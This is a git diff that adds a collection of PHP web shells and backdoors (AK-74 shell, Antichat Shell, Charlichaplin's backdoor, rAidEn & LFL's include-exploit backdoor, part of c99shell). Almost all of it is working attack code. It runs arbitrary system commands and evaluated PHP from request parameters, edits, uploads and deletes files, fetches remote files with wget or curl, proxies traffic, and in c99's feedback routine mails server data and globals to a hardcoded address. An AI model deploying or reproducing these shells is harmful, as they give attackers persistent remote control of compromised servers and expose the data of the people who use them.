+ Èçìåíåíèå ïðàâ äîñòóïà
+
+
+
+
+ ';
+return $res;
+}
+
+function editfileform($file)
+{
+$fp = fopen($file,'r');
+if (!$fp)
+ return 'Ðåäàêòèðîâàíèå ôàéëà';
+$res = '';
+$res .= ' '
+ .'
+
+ Ðåäàêòèðîâàíèå ôàéëà
+
+
+
+
+ ';
+ fclose($fp);
+ return $res;
+}
+
+function executeform()
+{
+ $res = '';
+ $res .= '
+
+
+ Âûïîëíåíèå PHP-êîäà Îòêðûòèå è çàêðûòèå PHP êîäà ( <? è ?> ) ïèñàòü íå íóæíî!
+
+
+
+
+
+
+Copyright AK-74 Security Team 2005 - '.date("Y").' ';
+ return $res;
+}
+
+function execute()
+{
+echo " ";
+echo "";
+eval(stripslashes($_POST['phpcode']));
+echo " ";
+echo " ";
+ }
+
+function exesysform()
+{
+ $res = '';
+ $res .= '
+
+
+ Execute system commands!
+
+
+
+
+
+
+Copyright AK-74 Security Team 2005 - '.date("Y").' ';
+ return $res;
+}
+
+function exesys()
+{
+echo " ";
+echo "";
+$result = passthru($_POST['cmmd']);
+echo " ";
+echo " ";
+}
+
+function editfile($file)
+{
+if (!empty($_POST['rename'])) {
+rename ($_POST['file'], $_POST['rename']);
+}
+ $fp = fopen($_POST['rename'],'w');
+ if (!$fp)
+ return 0;
+ fwrite($fp, stripslashes($_POST['filecontent']));
+ fclose($fp);
+ return 1;
+}
+
+function chmodfile($file)
+{
+ $res = 0;
+ switch ($_POST['perms0'])
+ {
+ case 's':
+ $res = $res | 0xC000;
+ break;
+ case 'l':
+ $res = $res | 0xA000;
+ break;
+ case '-':
+ $res = $res | 0x8000;
+ break;
+ case 'b':
+ $res = $res | 0x6000;
+ break;
+ case 'd':
+ $res = $res | 0x4000;
+ break;
+ case 'c':
+ $res = $res | 0x2000;
+ break;
+ case 'p':
+ $res = $res | 0x1000;
+ break;
+ case 'u':
+
+ break;
+ }
+if (isset($_POST['perms1']))
+ $res = $res | 0x0100;
+if (isset($_POST['perms2']))
+ $res = $res | 0x0080;
+if (isset($_POST['perms3']))
+ $res = $res | 0x0040;
+
+if (isset($_POST['perms4']))
+ $res = $res | 0x0020;
+if (isset($_POST['perms5']))
+ $res = $res | 0x0010;
+if (isset($_POST['perms6']))
+ $res = $res | 0x0008;
+
+if (isset($_POST['perms7']))
+ $res = $res | 0x0004;
+if (isset($_POST['perms8']))
+ $res = $res | 0x0002;
+if (isset($_POST['perms9']))
+ $res = $res | 0x0001;
+echo substr(sprintf('%o', $res), -4);
+return chmod($file,intval(substr(sprintf('%o', $res), -4),8));
+
+}
+
+function downloadfile($file)
+{
+header ("Content-Type: application/octet-stream");
+header ("Content-Length: " . filesize($file));
+header ("Content-Disposition: attachment; filename=$file");
+readfile($file);
+die();
+}
+
+function createdir()
+{
+ if (!empty($_POST['dircreate']))
+ if (mkdir($_SESSION['currentdir'].'/'.$_POST['dircreate']))
+ return 'Äèðåêòîðèÿ ñîçäàíà!';
+
+ return 'Îøèáêà ïðè ñîçäàíèè äèðåêòîðèè';
+}
+
+function createfile()
+{
+ if (!empty($_POST['filecreate']))
+ {
+ if (file_exists($_SESSION['currentdir'].'/'.$_POST['filecreate']))
+ return 'Ôàéë óæå ñóùåñòâóåò';
+ $fp = fopen($_SESSION['currentdir'].'/'.$_POST['filecreate'],"w");
+ if ($fp)
+ {
+ fclose($fp);
+ return 'Ôàéë ñîçäàí!';
+ }
+ }
+
+ return 'Îøèáêà ïðè ñîçäàíèè ôàéëà';
+}
+
+function uploadfile()
+{
+ if ($_FILES['filename']['error'] != 0)
+ return '121212';
+ $_POST['filename2'] = trim($_POST['filename2']);
+ if (empty($_POST['filename2']))
+ $_POST['filename2'] = $_FILES['filename']['name'];
+ if (!copy($_FILES['filename']['tmp_name'],$_SESSION['currentdir'].'/'.$_POST['filename2']))
+ if (!move_uploaded_file($_FILES['filename']['tmp_name'],$_SESSION['currentdir'].'/'.$_POST['filename2']))
+ return 'Çàêà÷êà ôàéëà íå âûïîëíåíà...';
+ return 'Çàêà÷êà ôàéëà ïðîèçâåäåíà óñïåøíî!';
+}
+
+}
+ $shell = new shell();
+ $timestart = $shell->getmicrotime();
+ $content = '';
+ if (!isset($_SESSION['currentdir']))
+ $_SESSION['currentdir'] = str_replace('\\','/',$_SERVER['DOCUMENT_ROOT']);
+ if (isset($_GET['dir']))
+ {
+ if (opendir(realpath($_SESSION['currentdir'].'/'.$_GET['dir'])))
+ $_SESSION['currentdir'] = realpath($_SESSION['currentdir'].'/'.$_GET['dir']);
+ Header("Location: $xshell?act=filemanager");
+ }
+
+ $_SESSION['currentdir'] = str_replace('\\','/',$_SESSION['currentdir']);
+ if (substr($_SESSION['currentdir'],-1,1) == '/')
+ $_SESSION['currentdir'] = substr($_SESSION['currentdir'],0,-1);
+
+ switch ($_POST['action'])
+ {
+ case 'chmod':
+ if($shell->chmodfile($_POST['file']))
+ $content .= 'Ñìåíà ïðàâ ïðîèçîøëà óñïåøíî';
+ break;
+
+ case 'editfile':
+ if ($shell->editfile($_POST['file']))
+ $content .= 'Ðåäàêòèðîâàíèå ïðîèçîøëî óñïåøíî';
+ break;
+
+ case 'execute':
+ $shell->execute();
+ break;
+
+ case 'exesys':
+ $shell->exesys();
+ break;
+
+ case 'mkdir':
+ $content .= $shell->createdir();
+ break;
+
+ case 'createfile':
+ $content .= $shell->createfile();
+ break;
+
+ case 'uploadfile':
+ $content .= $shell->uploadfile();
+ break;
+ }
+ $content .= $shell->outputhead();
+ $content .= $shell->outputmenu();
+
+ switch ($_GET['act'])
+ {
+ case 'edit':
+ $content .= $shell->editfileform($_GET['file']);
+ break;
+
+ case 'chmod':
+ $content .= $shell->chmodform($_GET['file']);
+ break;
+
+ case 'down':
+ $content .= $shell->downloadfile($_GET['file']);
+ break;
+
+ case 'filemanager':
+ if ($_GET['act2'] == 'del')
+ $content .= $shell->removefile();
+ $content .= $shell->outputfilemanager();
+ if ($_GET['act3'] == 'del')
+ $content .= $shell->removedir();
+ break;
+
+ case 'phpinfo':
+ phpinfo();
+ die();
+ break;
+
+ case 'info':
+ $content .= $shell->outputinfo();
+ break;
+
+ case 'execute':
+ $content .= $shell->executeform();
+ break;
+
+ case 'exesys':
+ $content .= $shell->exesysform();
+ break;
+ }
+
+ $content .= $shell->outputdown();
+
+ echo $content;
+ echo 'Âðåìÿ ãåíåðàöèè: '.($shell->getmicrotime()-$timestart).' ';
+?>
\ No newline at end of file
diff --git a/xakep-shells/PHP/antichat.php.php.txt b/xakep-shells/PHP/antichat.php.php.txt
new file mode 100644
index 0000000..01702a8
--- /dev/null
+++ b/xakep-shells/PHP/antichat.php.php.txt
@@ -0,0 +1,366 @@
+
+BODY{
+ background-color: #2B2F34;
+ color: #C1C1C7;
+ font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;
+ MARGIN-TOP: 0px;
+ MARGIN-BOTTOM: 0px;
+ MARGIN-LEFT: 0px;
+ MARGIN-RIGHT: 0px;
+ margin:0;
+ padding:0;
+ scrollbar-face-color: #336600;
+ scrollbar-shadow-color: #333333;
+ scrollbar-highlight-color: #333333;
+ scrollbar-3dlight-color: #333333;
+ scrollbar-darkshadow-color: #333333;
+ scrollbar-track-color: #333333;
+ scrollbar-arrow-color: #333333;
+}
+input{
+ background-color: #336600;
+ font-size: 8pt;
+ color: #FFFFFF;
+ font-family: Tahoma;
+ border: 1 solid #666666;
+}
+select{
+ background-color: #336600;
+ font-size: 8pt;
+ color: #FFFFFF;
+ font-family: Tahoma;
+ border: 1 solid #666666;
+}
+textarea{
+ background-color: #333333;
+ font-size: 8pt;
+ color: #FFFFFF;
+ font-family: Tahoma;
+ border: 1 solid #666666;
+}
+a:link{
+
+ color: #B9B9BD;
+ text-decoration: none;
+ font-size: 8pt;
+}
+a:visited{
+ color: #B9B9BD;
+ text-decoration: none;
+ font-size: 8pt;
+}
+a:hover, a:active{
+ width: 100%;
+ background-color: #A8A8AD;
+
+
+ color: #E7E7EB;
+ text-decoration: none;
+ font-size: 8pt;
+}
+td, th, p, li{
+ font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;
+ border-color:black;
+}
+';
+$header=''.getenv("HTTP_HOST").' - Antichat Shell '.$style.'';
+$footer='';
+
+//error parser
+$filext="File already exists.";
+$uploadok="File was successfully uploaded.";
+$dircrt="Dir is created.";
+$dircrterr="Don't create dir.";
+$dirnf="Dir not found.";
+$empty="Directory not empty or access denide.";
+$deletefileok="File deleted";
+$deletedirok="Dir deleted";
+//end error parser
+
+//auth
+if(@$_POST['action']=="exit")unset($_SESSION['an']);
+if($auth==1){if(@$_POST['login']==$login && @$_POST['password']==$password)$_SESSION['an']=1;}else $_SESSION['an']='1';
+if(@$_SESSION['an']==0){
+echo $header;
+echo ' ';
+echo $footer;
+exit;}
+//end auth
+
+function createdir($dir){if(@mkdir($dir))echo $GLOBALS['dircrt']." "; else echo $GLOBALS['dircrterr']." ";}
+
+
+
+if($_SESSION['action']=="")$_SESSION['action']="viewer";
+if(@$_POST['action']!="" )$_SESSION['action']=$_POST['action'];$action=$_SESSION['action'];
+if(@$_POST['dir']!="")$_SESSION['dir']=$_POST['dir'];$dir=$_SESSION['dir'];
+
+$dir=chdir($dir);
+$dir=getcwd()."/";
+$dir=str_replace("\\","/",$dir);
+
+
+
+
+
+
+//crdir
+
+
+if(@$_POST['file']!=""){$file=$_SESSION['file']=$_POST['file'];}else {$file=$_SESSION['file']="";}
+
+//Current type OS
+if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $win=1; else $win=0;
+
+
+
+
+
+
+
+//downloader
+if($action=="download"){
+header('Content-Length:'.filesize($file).'');
+header('Content-Type: application/octet-stream');
+header('Content-Disposition: attachment; filename="'.$file.'"');
+readfile($file);
+}
+//end downloader
+
+//delete file
+if($action=="delete"){
+if(unlink($file)) $msgnotice.=$deletefileok;
+}
+//end delete
+
+//delete dir
+if($action=="deletedir"){
+if(!rmdir($file)) $msgnotice.=$GLOBALS['empty'];else $msgnotice.=$deletedirok;
+
+}
+//end delete
+?>
+
+ echo $header;?>
+
+
+
+
+
+
+
+
+
+
+
+
+
+//shell
+function shell($cmd){
+if (!empty($cmd)){
+ $fp = popen($cmd,"r");
+ {
+ $result = "";
+ while(!feof($fp)){$result.=fread($fp,1024);}
+ pclose($fp);
+ }
+ $ret = $result;
+ $ret = convert_cyr_string($ret,"d","w");
+}
+return $ret;}
+
+if($action=="shell"){
+echo "
+
+".@$_POST['command']."
+".@htmlspecialchars(shell($_POST['command']))."
+ ";}
+//end shell
+
+
+//viewer FS
+function perms($file)
+{
+ $perms = fileperms($file);
+ if (($perms & 0xC000) == 0xC000) {$info = 's';}
+ elseif (($perms & 0xA000) == 0xA000) {$info = 'l';}
+ elseif (($perms & 0x8000) == 0x8000) {$info = '-';}
+ elseif (($perms & 0x6000) == 0x6000) {$info = 'b';}
+ elseif (($perms & 0x4000) == 0x4000) {$info = 'd';}
+ elseif (($perms & 0x2000) == 0x2000) {$info = 'c';}
+ elseif (($perms & 0x1000) == 0x1000) {$info = 'p';}
+ else {$info = 'u';}
+ $info .= (($perms & 0x0100) ? 'r' : '-');
+ $info .= (($perms & 0x0080) ? 'w' : '-');
+ $info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-'));
+ $info .= (($perms & 0x0020) ? 'r' : '-');
+ $info .= (($perms & 0x0010) ? 'w' : '-');
+ $info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-'));
+ $info .= (($perms & 0x0004) ? 'r' : '-');
+ $info .= (($perms & 0x0002) ? 'w' : '-');
+ $info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-'));
+ return $info;
+}
+
+function view_size($size)
+{
+ if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
+ elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
+ elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
+ else {$size = $size . " B";}
+ return $size;
+}
+
+function scandire($dir){
+
+
+
+echo "";
+}}}
+
+if($action=="viewer"){
+scandire($dir);
+}
+//end viewer FS
+
+//editros
+if($action=="editor"){
+ function writef($file,$data){
+ $fp = fopen($file,"w+");
+ fwrite($fp,$data);
+ fclose($fp);
+ }
+ function readf($file){
+ if(!$le = fopen($file, "r")) $contents="Can't open file, permission denide"; else {
+ $contents = fread($le, filesize($file));
+ fclose($le);}
+ return htmlspecialchars($contents);
+ }
+if(@$_POST['save'])writef($file,$_POST['data']);
+echo "
+
+
+".@readf($file)."
+ ";
+}
+//end editors
+
+//upload
+if($action=="upload"){
+ if(@$_POST['dirupload']!="") $dirupload=$_POST['dirupload'];else $dirupload=$dir;
+ $form_win=" Upload to dir: New file name: ";
+ if($GLOBALS['win']==1)echo $form_win;
+ if($GLOBALS['win']==0){
+ echo $form_win;
+ echo 'wget fetch lynx links curl GET File addres:
+ ';
+}
+
+if(@$_POST['uploadloc']){
+if(@$_POST['filename']=="") $uploadfile = $dirupload.basename($_FILES['file']['name']); else
+$uploadfile = $dirupload."/".$_POST['filename'];
+
+if(!file_exists($dirupload)){createdir($dirupload);}
+if(file_exists($uploadfile))echo $GLOBALS['filext'];
+elseif (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile))
+echo $GLOBALS['uploadok'];
+}
+
+if(@$_POST['upload']){
+ if (!empty($_POST['with']) && !empty($_POST['urldown']) && !empty($_POST['filename']))
+ switch($_POST['with'])
+ {
+ case wget:
+ shell(which('wget')." ".$_POST['urldown']." -O ".$_POST['filename']."");
+ break;
+ case fetch:
+ shell(which('fetch')." -o ".$_POST['filename']." -p ".$_POST['urldown']."");
+ break;
+ case lynx:
+ shell(which('lynx')." -source ".$_POST['urldown']." > ".$_POST['filename']."");
+ break;
+ case links:
+ shell(which('links')." -source ".$_POST['urldown']." > ".$_POST['filename']."");
+ break;
+ case GET:
+ shell(which('GET')." ".$_POST['urldown']." > ".$_POST['filename']."");
+ break;
+ case curl:
+ shell(which('curl')." ".$_POST['urldown']." -o ".$_POST['filename']."");
+ break;
+ }
+ }
+
+}
+//end upload section
+
+
+if($action=="phpeval"){
+ echo "
+
+
+ <?php
+".@$_POST['phpev']."
+?>
+ ";}
+if(@$_POST['phpev']!=""){echo eval($_POST['phpev']);}
+?>
+
+ echo $footer;?>
\ No newline at end of file
diff --git a/xakep-shells/PHP/backdoor1.php.txt b/xakep-shells/PHP/backdoor1.php.txt
new file mode 100644
index 0000000..a82e151
--- /dev/null
+++ b/xakep-shells/PHP/backdoor1.php.txt
@@ -0,0 +1,181 @@
+
+/*
+ Backdoor php v0.1
+ Coded By Charlichaplin
+ charlichaplin@gmail.com
+ Join me: irc.fr.worldnet.net #s-c
+ Greetz: My dog :)
+*/
+
+class backdoor {
+ var $pwd;
+ var $rep;
+ var $list = array();
+ var $file;
+ var $edit;
+ var $fichier;
+ var $del;
+ var $shell;
+ var $proxy;
+
+ function dir() {
+ if(!empty($this->rep)) {
+ $dir = opendir($this->rep);
+ } else {
+ $dir = opendir($this->pwd);
+ }
+ while($f = readdir($dir)) {
+ if ($f !="." && $f != "..") {
+ $this->list[] = $f;
+ }
+ }
+ }
+
+ function view() {
+
+ $this->file = htmlentities(highlight_file($this->file));
+ }
+
+ function edit() {
+ if(!is_writable($this->edit)) {
+ echo "Ecriture impossible sur le fichier";
+ } elseif(!file_exists($this->edit)) {
+ echo "Le fichier n'existe pas ";
+ } elseif(!$this->fichier) {
+ $fp = fopen($this->edit,"r");
+ $a = "";
+ while(!feof($fp)) {
+ $a .= fgets($fp,1024);
+ }
+ echo"edit."\">".htmlentities($a)." ";
+ } else {
+ $fp = fopen($this->edit,"w+");
+ fwrite($fp, $this->fichier);
+ fclose($fp);
+ echo "Le fichier a été modifié";
+
+ }
+ }
+
+ function del() {
+ if(is_file($this->del)) {
+ if(unlink($this->del)) {
+ echo "Fichier supprimé";
+ } else {
+ echo "Vous n'avez pas les droits pour supprimer ce fichier";
+ }
+ } else {
+ echo $this->del." n'est pas un fichier";
+ }
+ }
+
+ function shell() {
+ echo " ";
+ system($this->shell);
+ }
+
+ function proxy($host,$page) {
+
+ $fp = fsockopen($host,80);
+ if (!$fp) {
+ echo "impossible d'etablir un connection avec l'host";
+ } else {
+ $header = "GET ".$page." HTTP/1.1\r\n";
+ $header .= "Host: ".$host."\r\n";
+ $header .= "Connection: close\r\n\r\n";
+ fputs($fp,$header);
+ while (!feof($fp)) {
+ $line = fgets($fp,1024);
+ echo $line;
+ }
+ fclose($fp);
+ }
+ }
+
+ function ccopy($cfichier,$cdestination) {
+ if(!empty($cfichier) && !empty($cdestination)) {
+ copy($cfichier, $cdestination);
+ echo "Le fichier a été copié";
+ } else {
+ echo "Source: Destination: ";
+ }
+ }
+}
+if(!empty($_REQUEST['rep'])) {
+ $rep = $_REQUEST['rep']."/";
+}
+$pwd = $_SERVER['SCRIPT_FILENAME'];
+$pwd2 = explode("/",$pwd);
+$file = $_REQUEST['file'];
+$edit = $_REQUEST['edit'];
+$fichier = $_POST['fichier'];
+$del = $_REQUEST['del'];
+$shell = $_REQUEST['shell'];
+$proxy = $_REQUEST['proxy'];
+$copy = $_REQUEST['copy'];
+$cfichier = $_POST['cfichier'];
+$cdestination = $_POST['cdestination'];
+
+$n = count($pwd2);
+$n = $n - 1;
+$pwd = "";
+for ($i = 0;$i != $n;$i = $i+1) {
+ $pwd .= "/".$pwd2[$i];
+}
+
+if($proxy) {
+$host2 = explode("/",$proxy);
+$n = count($host2);
+$host = $host2[2];
+$page = "";
+for ($i = 3;$i != $n;$i = $i+1) {
+ $page .= "/".$host2[$i];
+}
+echo $page;
+}
+
+echo "Index of ".$pwd." ";
+$backdoor = new backdoor();
+$backdoor->pwd = $pwd;
+$backdoor->rep = $rep;
+$backdoor->file = $file;
+$backdoor->edit = $edit;
+$backdoor->fichier = $fichier;
+$backdoor->del = $del;
+$backdoor->shell = $shell;
+$backdoor->proxy = $proxy;
+echo "Index of ".$backdoor->pwd." ";
+$backdoor->dir();
+
+echo "
";
+echo "Executer un shell ";
+echo "Utiliser le serveur comme proxy ";
+echo "Copier un fichier ";
+echo " Name Last modified Size Description ";
+echo " ";
+
+if($file) {
+ $backdoor->view();
+} elseif($edit) {
+ $backdoor->edit();
+} elseif($del) {
+ $backdoor->del();
+} elseif($shell) {
+ $backdoor->shell();
+}elseif($proxy) {
+ $backdoor->proxy($host,$page);
+}elseif($copy == 1) {
+ $backdoor->ccopy($cfichier,$cdestination);
+} else {
+ echo "[DIR] Parent Directory ".date("r",realpath($rep."../"))." - ";
+ foreach ($backdoor->list as $key => $value) {
+ if(is_dir($rep.$value)) {
+ echo "[DIR]".$value."/ ".date("r",filemtime($rep.$value))." - ";
+ } else {
+ echo "[FILE]".$value." (edit) (del) ".date("r",filemtime($rep.$value))." 1k ";
+ }
+ }
+}
+echo " ";
+echo "Coded By Charlichaplin ";
+echo "";
\ No newline at end of file
diff --git a/xakep-shells/PHP/backdoorfr.php.txt b/xakep-shells/PHP/backdoorfr.php.txt
new file mode 100644
index 0000000..7fd627a
--- /dev/null
+++ b/xakep-shells/PHP/backdoorfr.php.txt
@@ -0,0 +1,234 @@
+
+print("Backdoor PHP codée par rAidEn & LFL ");
+print("Exploit include v1.0
");
+print("Ce script permet d'exploiter une faille include ou une frame mal placée de type :
+www.victime.com/index.php?page=http://emplacement_de_la_backdoor.php , ou en tant que backdoor sur un serveur pour garder une porte d'entrée dérobée.
+par rAidEn & LFL , article publié dans The Hackademy Journal numéro 12 Spécial greetz à : Crash_FR, MatraX, Elboras, papar0ot, Lostnoobs, Icarus, Xelory, L_Abbe, Daedel, DHS-team, Carlito, xdream_blue, redils, IHC, Wanadobe.biz, #abyssal, #cod4, #hzv, #security-corp, #Revolsys, ...... et tout ceux que j'ai oublié & aussi et surtout à (feu)tim-team
");
+
+/******Code source du système de remote*****/
+
+$QS = $QUERY_STRING;
+if(!stristr($QS, "separateur") && $QS!="") $QS .= "&separateur";
+if(!stristr($QS, "separateur") && $QS=="") $QS .= "separateur";
+
+/*pour les forms*********************************/
+$tab = explode("&", $QS);
+$i=0;
+$remf = "";
+while( $tab[$i] != "" && $tab[$i-1] != "separateur" )
+{
+ $temp = str_replace(strchr($tab[$i], "="), "", $tab[$i]);
+ eval("\$temp2=\${$temp};");
+ $remf .= " \n";
+ $i++;
+}
+/*
+$temp = str_replace(strchr($tab[$i], "="), "", $tab[$i]);
+if($temp!="")
+{
+ eval("\$temp2=\${$temp};");
+ $remf .= " \n";
+}*/
+/************************************************/
+
+
+/*pour les links*********************************/
+if($QS != "separateur")
+ $reml = "?" . str_replace(strchr($QS, "&separateur"), "", $QS) .
+"&separateur";
+else $reml = "?$QS";
+$adresse_locale = $reml;
+/************************************************/
+
+
+
+
+print(" ");
+print("Exécuter une commande dans un shell ");
+print("Exécuter du code PHP ");
+print("Lister un répertoires ");
+print("Gérer les fichiers ");
+print("Envoyer un mail ");
+print("Infos serveur ");
+print("Contacter le créateur ");
+
+
+/* récupération des variables : la fonction $_REQUEST n'existant pas avant php 4.1.0, vous devrez alors commenter ces lignes */
+$option = $_REQUEST["option"];
+$rep = $_REQUEST["rep"];
+$nom = $_REQUEST["nom"];
+$option_file = $_REQUEST["option_file"];
+$cmd = $_REQUEST["cmd"];
+$code = $_REQUEST["code"];
+$msg = $_REQUEST["msg"];
+$option_mail = $_REQUEST["option_mail"];
+$destinataire = $_REQUEST["destinataire"];
+$sujet = $_REQUEST["sujet"];
+$message = $_REQUEST["message"];
+
+if($option == 1){
+ print(" $remf Commande : ");
+ echo " PS : peu de serveurs acceptent les commandes venant de PHP";
+}
+
+if($option == 2){
+ print(" $remf Code : ");
+}
+
+if($option == 3){
+ print(" $remf Répertoire à lister : ");
+ print("$rep");
+}
+
+if($option == 4){
+ print(" $remf");
+ print(" Nom du fichier : ");
+ print(" ");
+ print(" Créer le
+fichier");
+ print(" Éditer le
+fichier");
+ print(" Supprimer le
+fichier");
+ print(" Lire le
+fichier");
+ print(" ");
+ print(" ");
+}
+
+
+if($option == 5){
+ print(" $remf Destinataire : ");
+ print(" Provenance du mail : ");
+ print("Adresse de retour : ");
+ print("Sujet : ");
+ print("Message : ");
+}
+
+if($option == 6){
+ echo"Nom du serveur : $SERVER_NAME
+";
+ echo"Adresse IP du serveur : $SERVER_ADDR ";
+ echo"Port utilisé par défault 80 : $SERVER_PORT ";
+ echo"Mail de l' admin : $SERVER_ADMIN ";
+
+
+ echo"Racine du serveur : $DOCUMENT_ROOT ";
+ echo"Adresse menant à COMMAND.COM : $COMSPEC ";
+ echo"Path installé sur le serveur : $PATH ";
+ echo"OS, SERVEUR, version PHP : $SERVER_SOFTWARE ";
+
+ echo"Version du protocole utilisé (HTTP) : $SERVER_PROTOCOL ";
+ echo"En-tête Accept du protocole HTTP : $HTTP_ACCEPT ";
+ echo"En tête User_agent du protocole HTTP : $HTTP_USER_AGENT ";
+ echo"En-tête Accept-Charset du protocole HTTP : $HTTP_ACCEPT_CHARSET ";
+ echo"En-tête Accept-Encoding du protocole HTTP : $HTTP_ACCEPT_ENCODING ";
+ echo"En-tête Accept-Language du protocole HTTP : $HTTP_ACCEPT_LANGUAGE ";
+ echo"En-tête Connection du protocole HTTP : $HTTP_CONNECTION ";
+ echo"En-tête Host du protocole HTTP : $HTTP_HOST ";
+
+ echo"Version de CGI : $GATEWAY_INTERFACE ";
+ echo"Version de récupération du form : $REQUEST_METHOD ";
+ echo"Argument de l' adresse : $QUERY_STRING ";
+ echo"Nom du script : $SCRIPT_NAME ";
+ echo"Chemin du script : $SCRIPT_FILENAME ";
+ echo"Adresse entière du script : $REQUEST_URI
+ ";
+}
+
+/* Commande*******/
+if($cmd != "")
+{
+ echo "{${passthru($cmd)}} ";
+}
+/* Commande*******/
+
+
+/* Exécution de code PHP**********/
+if($code != ""){
+ $code = stripslashes($code);
+ eval($code);
+}
+/* Execution de code PHP**********/
+
+
+/* Listing de rep******************/
+if($rep != "")
+{
+ if(strrchr($rep, "/") != "" || !stristr($rep, "/")) $rep .= "/";
+ $dir=opendir($rep);
+ while ($file = readdir($dir))
+ {
+ if (is_dir("$rep/$file") && $file!='.')
+ {
+ echo"(rep) $file
+ \n";
+ }elseif(is_file("$rep/$file"))
+ {
+ echo " (file) $file del edit \n";
+ }
+ }
+}
+/* Listing de rep******************/
+
+
+/* Gestion des fichiers*********************/
+if($option_file == "mkdir" && $nom != "")
+{
+ $fp = fopen($nom, "w");
+ fwrite($fp, stripslashes($msg));
+ print("Fichier crée/modifié");
+}
+
+if($option_file == "read" && $nom != "")
+{
+ $fp = fopen($nom, "r");
+ $file = fread($fp, filesize($nom));
+ $file = htmlentities ($file, ENT_QUOTES);
+ $file = nl2br($file);
+ echo " $file";
+}
+
+if($option_file == "del" && $nom != "")
+{
+ unlink($nom);
+ print("Fichier effacé");
+}
+
+if($option_file == "edit" && $nom != "")
+{
+ $fp = fopen($nom, "r");
+ $file = fread($fp, filesize($nom));
+ $file = htmlentities ($file, ENT_QUOTES);
+ echo " $remf";
+ echo "$file ";
+ echo " ";
+ echo " ";
+ echo " PS : les fichiers trop longs ne passent po :(";
+ echo " ";
+}
+/* Gestion des fichiers*********************/
+
+
+/* Envoi de mails************************/
+if(($destinataire != "" ) && ($sujet != "") && ($message != "")){
+ $option_mail = "From: $provenance \n";
+ $option_mail .= "Reply-to: $retour \n";
+ $option_mail .= "X-Mailer: Mailer by rAidEn \n";
+
+ mail($destinataire, $sujet, $message, $option_mail);
+
+ print("Mail envoyé a : $destinataire ...");
+}
+/* Envoi de mails************************/
+
+print("");
+/*print("Encoder: Input: ".@htmlspecialchars($encoder_input)." Hashes :";
+ foreach(array("md5","crypt","sha1","crc32") as $v)
+ {
+ echo $v." - ";
+ }
+ echo " Url: urlencode -
+ urldecode -
+ Base64: base64_encode - ";
+ echo "base64_decode - ";
+ if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo " ";}
+ else
+ {
+ $debase64 = base64_decode($encoder_input);
+ $debase64 = str_replace("\0","[0]",$debase64);
+ $a = explode("\r\n",$debase64);
+ $rows = count($a);
+ $debase64 = htmlspecialchars($debase64);
+ if ($rows == 1) {echo " ";}
+ else {$rows++; echo "".$debase64." ";}
+ echo " ^ ";
+ }
+ echo " Base convertations :dec2hex - ";
+}
+if ($act == "fsbuff")
+{
+ $arr_copy = $sess_data["copy"];
+ $arr_cut = $sess_data["cut"];
+ $arr = array_merge($arr_copy,$arr_cut);
+ if (count($arr) == 0) {echo "Buffer is empty! ";}
+ else {echo "File-System buffer "; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}
+}
+if ($act == "selfremove")
+{
+ if (($submit == $rndcode) and ($submit != ""))
+ {
+ if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; c99shexit(); }
+ else {echo "Can't delete ".__FILE__."! ";}
+ }
+ else
+ {
+ if (!empty($rndcode)) {echo "Error: incorrect confimation! ";}
+ $rnd = rand(0,9).rand(0,9).rand(0,9);
+ echo "Self-remove: ".__FILE__." Are you sure? For confirmation, enter \"".$rnd."\" : ";
+ }
+}
+if ($act == "update") {$ret = c99sh_getupdate(!!$confirmupdate); echo "".$ret." "; if (stristr($ret,"new version")) {echo " ";}}
+if ($act == "feedback")
+{
+ $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1");
+ if (!empty($submit))
+ {
+ $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
+ $body = "c99shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
+ if (!empty($fdbk_ref))
+ {
+ $tmp = @ob_get_contents();
+ ob_clean();
+ phpinfo();
+ $phpinfo = base64_encode(ob_get_contents());
+ ob_clean();
+ echo $tmp;
+ $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
+ }
+ mail($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail);
+ echo "Thanks for your feedback! Your ticket ID: ".$ticket.". ";
+ }
+ else {echo "Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."): Your name: Your e-mail: Message:".htmlspecialchars($fdbk_body)." Attach server-info * There are no checking in the form. * - strongly recommended, if you report bug, because we need it for bug-fix. We understand languages: English, Russian. ";}
+}
+if ($act == "search")
+{
+ echo "Search in file-system: ";
+ if (empty($search_in)) {$search_in = $d;}
+ if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
+ if (empty($search_text_wwo)) {$search_text_regexp = 0;}
+ if (!empty($submit))
+ {
+ $found = array();
+ $found_d = 0;
+ $found_f = 0;
+ $search_i_f = 0;
+ $search_i_d = 0;
+ $a = array
+ (
+ "name"=>$search_name, "name_regexp"=>$search_name_regexp,
+ "text"=>$search_text, "text_regexp"=>$search_text_regxp,
+ "text_wwo"=>$search_text_wwo,
+ "text_cs"=>$search_text_cs,
+ "text_not"=>$search_text_not
+ );
+ $searchtime = getmicrotime();
+ $in = array_unique(explode(";",$search_in));
+ foreach($in as $v) {c99fsearch($v);}
+ $searchtime = round(getmicrotime()-$searchtime,4);
+ if (count($found) == 0) {echo "No files found! ";}
+ else
+ {
+ $ls_arr = $found;
+ $disp_fullpath = TRUE;
+ $act = "ls";
+ }
+ }
